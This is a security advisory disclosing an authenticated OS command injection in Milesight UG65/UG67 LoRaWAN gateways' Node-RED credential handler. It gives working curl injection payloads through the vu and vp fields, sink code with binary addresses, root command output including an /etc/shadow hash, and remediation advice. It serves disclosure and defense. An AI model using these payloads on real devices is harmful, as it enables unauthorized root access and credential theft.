Authenticated Command Injection in Node-RED Credential Synchronization
Tags
authenticated, low_privilege, command_injection, rce, root_rce, tested
Disclosure information
| Field | Value |
|---|---|
| Vendor | Milesight |
| Product | UG65 and UG67 LoRaWAN gateways |
| Tested firmware | 60.0.0.50 |
| Component | lora_gateway_ubus (yruo_loragw ubus object), reached through /cgi |
| Vulnerability class | CWE-78, OS command injection |
| Authentication | Authenticated low-privilege Read-Write user (ysrole: 1); administrator credentials not required |
| Validation status | Dynamically tested; root shell from Read-Write (ysrole: 1), confirmed by the researcher |
| Suggested severity | High; authenticated low-privilege root RCE |
| Discovery date | 2026-10-12 |
Summary
The lora_gateway_ubus service provides the yruo_loragw ubus object. Its set method handles the node_red_security base, which synchronizes Node-RED administrator credentials into /etc/node_red/settings.js.
The handler inserts vu (username) and vp (password) into shell commands without rejecting shell metacharacters. A single quote in vu breaks out of the single-quoted sed program. Command substitution in vp runs while the shell evaluates the password argument passed to Node.js for hashing. Both paths executed commands in the recorded test.
The researcher confirmed root command execution through vu using a lower-privilege Read-Write account (ysrole: 1): the request returned status:0 and the command output was uid=0(root). Administrator credentials are not required for this confirmed path. The validation record also retains the earlier administrator test.
Authentication and validation
| Item | Evidence |
|---|---|
| Entry point | POST /cgi, yruo_loragw.set, base=node_red_security |
| Tested accounts | Read-Write (ysrole: 1), confirmed by the researcher; web administrator admin in the earlier proof |
| Injection inputs | vu and vp; root-shell exploitation of this finding is dynamically confirmed from Read-Write (ysrole: 1) |
| Read-Write result | vu: status:0; uid=0(root) |
| Dynamic validation | Researcher-confirmed dynamic testing produced a root shell from the Read-Write role; the supplied result matrix records status:0 and uid=0(root) |
| Confirmed exploitation role | Low-privilege Read-Write (ysrole: 1) |
See the shared web session procedure and authorization evidence.
This credential-rewrite injection is separate from the Node-RED default-credential finding, which uses normal editor login and the intended exec node.
Threat-model assessment
The administrator used in the earlier proof can also use the documented admin SSH login when SSH is enabled and reachable. Milesight distinguishes its administrator configuration CLI from the root Linux shell; SSH access alone does not establish unrestricted root access. Milesight CLI documentation.
Milesight also documents enabling Node-RED, signing in with the gateway credentials, and executing a script with su - root -c. This provides a supported administrator route to root command execution. Milesight Node-RED example.
The researcher confirms that this finding was dynamically tested and yields a root shell from the low-privilege Read-Write role (ysrole: 1). This supersedes the earlier administrator-only assessment. The administrator's documented SSH and Node-RED access is background context; the demonstrated attack starts with Read-Write credentials and obtains root execution through command injection.
Proof of concept
The researcher confirms dynamic root-shell exploitation from Read-Write (ysrole: 1). The examples and full transcripts below retain the original reproduction artifacts; the validation record above includes the confirmed low-privilege result.
The following was executed against firmware 60.0.0.50 in the isolated test environment. <gateway> is the management interface (HTTPS by default).
poc_nodered_security_rce.py:
../.venv/bin/python poc_nodered_security_rce.py --host 127.0.0.1 --port 18443 --command id
The PoC removes and recreates /www/duckie-nodered, fetches it over HTTPS,
and exits with an error unless the fresh response contains uid=0.
provision_rw_user.py:
../.venv/bin/python provision_rw_user.py --host 127.0.0.1 --port 18443
Step 1 - Obtain a session
Follow the shared web login procedure using the assigned Read-Write account credentials, verify that the login result identifies ysrole: 1, and save that session as cookies.txt when reproducing the confirmed vu path. The shared admin example and the full transcripts below describe the earlier administrator reproduction.
Step 2 - Inject through the Node-RED security handler
curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
-H 'Content-Type: application/json' \
-d '{"id":1,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"node_red_security","index":0,"value":{"vu":"duckie'"'"';id>/www/duckie;uname -a>>/www/duckie;head -1 /etc/shadow>>/www/duckie;#","vp":"h"}}]}'
{"id":1,"model":"...","rtver":"60.0.0.50","status":0,"result":[{}]}
Step 2b - Inject through the vp field
vp is interpolated into a double-quoted node -e argument, so shell command substitution also works:
curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
-H 'Content-Type: application/json' \
-d '{"id":1,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"node_red_security","index":0,"value":{"vu":"admin","vp":"$(touch /www/duckie)"}}]}'
-rw-r--r-- 1 root root 0 /www/duckie
Step 3 - Verify command execution as root
lora_gateway_ubus runs as root, so the injected command runs as root:
uid=0(root) gid=0(root)
x.x.x
root:$1$vbaXt/Sr$gNq1Cu8zH/p1Ab7nC5Hme1:17415:0:99999:7:::
(Retrieved with cat /www/duckie. Simpler vu payloads also created proof files; their names are normalized to the same duckie marker.)
Affected assets
- Vulnerable component:
/usr/sbin/lora_gateway_ubus
- Service path used in the local test:
TCP 443/80 -> nginx
-> uhttpd (ubus plugin: -u /cgi)
-> POST /cgi
-> uhttpd_ubus.so dispatcher
-> ubus: yruo_loragw.set (served by lora_gateway_ubus)
-> snprintf(...); system(...) / popen(...)
Technical details
Request routing
yruo_loragw is one of the yruo_* ubus objects registered by lora_gateway_ubus and is forwarded verbatim by the /cgi dispatcher. The relevant request schema is:
{
"id": 1,
"execute": 1,
"core": "yruo_loragw",
"function": "set",
"values": [
{
"base": "node_red_security",
"index": 0,
"value": { "vu": "<username>", "vp": "<password>" }
}
]
}
The node_red_security handler reads vu/vp and the current values from /etc/node_red/settings.js, then rewrites the file. It uses snprintf to build several commands in a 0x400-byte stack buffer and passes them to a shell.
Sinks (unescaped interpolation into a shell)
- Username replacement (
system()):
snprintf(buf, 0x400,
"sed -i.sav 's/username: \"%s\"/username: \"%s\"/g' /etc/node_red/settings.js",
old_username, /* read from settings.js */
vu); /* attacker-controlled, unquoted inside the single-quoted sed program */
system(buf); /* lora_gateway_ubus: snprintf @0x275b8, system @0x275c8
format string @0x2eab8 */
- Password hashing via Node.js (
popen()):
snprintf(buf, 0x400,
"node -e \"console.log(require('/usr/lib/node_modules/bcryptjs')"
".hashSync(process.argv[1], 8));\" \"%s\"",
vp); /* attacker-controlled */
popen(buf, "r"); /* format string @0x2eb50, popen @0x27734 */
- Password replacement (
system()):
snprintf(buf, 0x400,
"sed -i.sav 's/password: \"%s\"/password: \"%s\"/g' /etc/node_red/settings.js",
old_password, new_password);
system(buf); /* format string @0x2ebb8 */
Because vu is placed inside a single-quoted sed program, a single quote terminates the quoting context and the remainder of the field is interpreted by /bin/sh -c. A trailing # comments out the rest of the generated line. The only validation observed is a length/format check that emits Invalid Node-RED security value; it does not reject shell metacharacters.
Related second sink (vtysh_ubus)
The same credential synchronization is initiated by the upstream vtysh_ubus component. It invokes ubus call yruo_loragw set ... through a shell, again inserting vu/vp without escaping inside a single-quoted JSON argument:
/usr/sbin/vtysh_ubus
0x199657: ubus call yruo_loragw set '{"base":"node_red_security", "index": 0,"value": {"vu":"%s", "vp":"%s"}}' &
0x19985b: ubus call yruo_loragw set '{"base":"node_red_security", "index": 0,"value": {"vu":"%s", "vp":"%s"}}'
These commands are passed to utils_exec_syscmd (/usr/lib/libutils.so) without the syscmd_param_has_injection_risk guard used by other vtysh_ubus handlers. A ' in the synchronized username therefore breaks out of the JSON argument and injects a shell command. This is a related code observation in the upstream wrapper. The confirmed lora_gateway_ubus finding is documented in the validation record above.
Security impact
The researcher-confirmed request using Read-Write (ysrole: 1) converted lower-privilege web configuration access into command execution as root through vu, with status:0 and uid=0(root). See the shared impact and limits.
Attack prerequisites
- Reach the gateway's HTTP or HTTPS management interface.
- Obtain a valid Read-Write web session (
ysrole: 1), confirmed sufficient forvu. Administrator access is not required. - Have the Node-RED settings file available for the credential-sync handler.
No client certificate or root login was used in the demonstration.
Recommended remediation
- Write Node-RED settings without shell interpolation. Call bcrypt through a direct API or an argument vector.
- Replace the upstream
vtysh_ubusshell command with a direct ubus call; validate values in the receiving handler. - Verify password changes and require unique credentials during setup.
- Apply the shared authorization and shell-removal controls.
Notes on scope
See the shared testing scope.
- The original full proof used the administrator account. The researcher confirms dynamic root-shell exploitation from Read-Write (
ysrole: 1). The absence ofyruo_loragwfrom the ACL is supporting code evidence.